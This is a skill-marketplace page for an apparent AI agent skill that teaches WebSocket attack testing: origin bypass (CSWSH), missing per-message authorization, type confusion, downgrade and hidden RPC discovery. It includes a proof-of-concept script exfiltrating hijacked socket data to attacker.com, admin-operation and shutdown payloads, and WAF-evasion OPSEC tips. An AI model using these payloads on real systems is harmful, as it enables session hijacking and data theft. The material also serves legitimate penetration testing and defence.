# API Websocket

> WebSocket exploitation — origin-bypass (CSWSH cross-site WebSocket hijacking), missing per-message auth, message-type confusion, msg-flood DoS, ws→wss downgrade, hidden RPC routes in the WS frame layer.

- Skill: `purpleailab/api-websocket` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/api-websocket`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/api-websocket/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/api-websocket

---


# WebSocket Attack Surface

## Detect

Look for `Upgrade: websocket` in any handshake. Common paths: `/ws`, `/socket.io`, `/graphql-ws`, `/cable` (Rails ActionCable), `/hub` (SignalR).

```bash
# Quick handshake test
curl -sk -i \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://target" \
  https://target/ws
# 101 = upgraded
```

## Top 5 bug classes

### 1. Cross-Site WebSocket Hijacking (CSWSH)
Server doesn't validate `Origin`. Attacker site can open a WS from the victim's browser with the victim's cookies:

```html
<!-- Hosted on attacker.com -->
<script>
const ws = new WebSocket("wss://target/ws");
ws.onmessage = e => fetch("https://attacker.com/x?d=" + btoa(e.data));
ws.onopen   = () => ws.send(JSON.stringify({op:"list_messages"}));
</script>
```

Test by sending the same request you saw in DevTools but with `Origin: https://attacker.com`. If server accepts → CSWSH.

### 2. Missing per-message authorization
Server checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:

```bash
wscat -c "wss://target/ws?token=lowpriv_jwt"
> {"op":"users.list_all"}     # ⚠ admin op succeeds
```

### 3. Message-type confusion
Server dispatches by JSON `type` field. Send a message with two types or a type the server doesn't expect:

```json
{"type":"chat","type":"admin","args":{"cmd":"shutdown"}}
{"type":"\u0061dmin","args":{...}}        // Unicode-normalize bypass
```

### 4. WS → wss downgrade
If the app uses `ws://` over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.

### 5. Hidden RPC routes
WS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:

```bash
wscat -c wss://target/ws -H "Authorization: bearer $TOKEN" -x '{"op":"PLACEHOLDER","args":{}}'
# Replace PLACEHOLDER with each candidate: admin.*, internal.*, debug.*, eval, etc.
# Distinct error per route reveals what exists vs what's gated.
```

## Tooling

```bash
# wscat — interactive
npm install -g wscat

# websocat — netcat for WS
websocat wss://target/ws

# Burp Suite — full WS interception (Proxy → WebSockets History)

# Pwntools-style for scripted attacks
python3 -c '
import websocket, json
ws = websocket.create_connection("wss://target/ws", header=["Origin: https://target", "Cookie: session=..."])
ws.send(json.dumps({"op":"users.list"}))
print(ws.recv())
ws.close()
'
```

## Protocol-specific tips

### Socket.IO
Multiple "engine" levels: long-polling fallback, sticky sessions. Hit `/socket.io/?EIO=4&transport=polling` first.

### STOMP over WebSocket
`CONNECT` → `SEND` → `SUBSCRIBE` text frames. `SUBSCRIBE /topic/admin` often missing authz.

### GraphQL-WS / graphql-transport-ws
`connection_init` payload often carries auth. Server may accept reconnections without re-authing — replay attack.

### SignalR
Negotiate URL `/hub/negotiate`. Token in negotiate is reusable for the WS upgrade.

## OPSEC

- WebSocket sessions are long-lived — server-side detection is per-frame. Burst-write 1000 messages, observe quench/error rate.
- WAFs often DON'T inspect WS frames. Once inside a WS, you can move freely vs HTTP.
- Browser DevTools "Frames" tab makes CSWSH PoCs trivially reproducible — capture-and-replay flow.

## References

- PortSwigger Academy "WebSocket attacks" track
- OWASP WebSocket testing guide
- "Cross-Site WebSocket Hijacking" — Christian Schneider (original 2013 writeup)

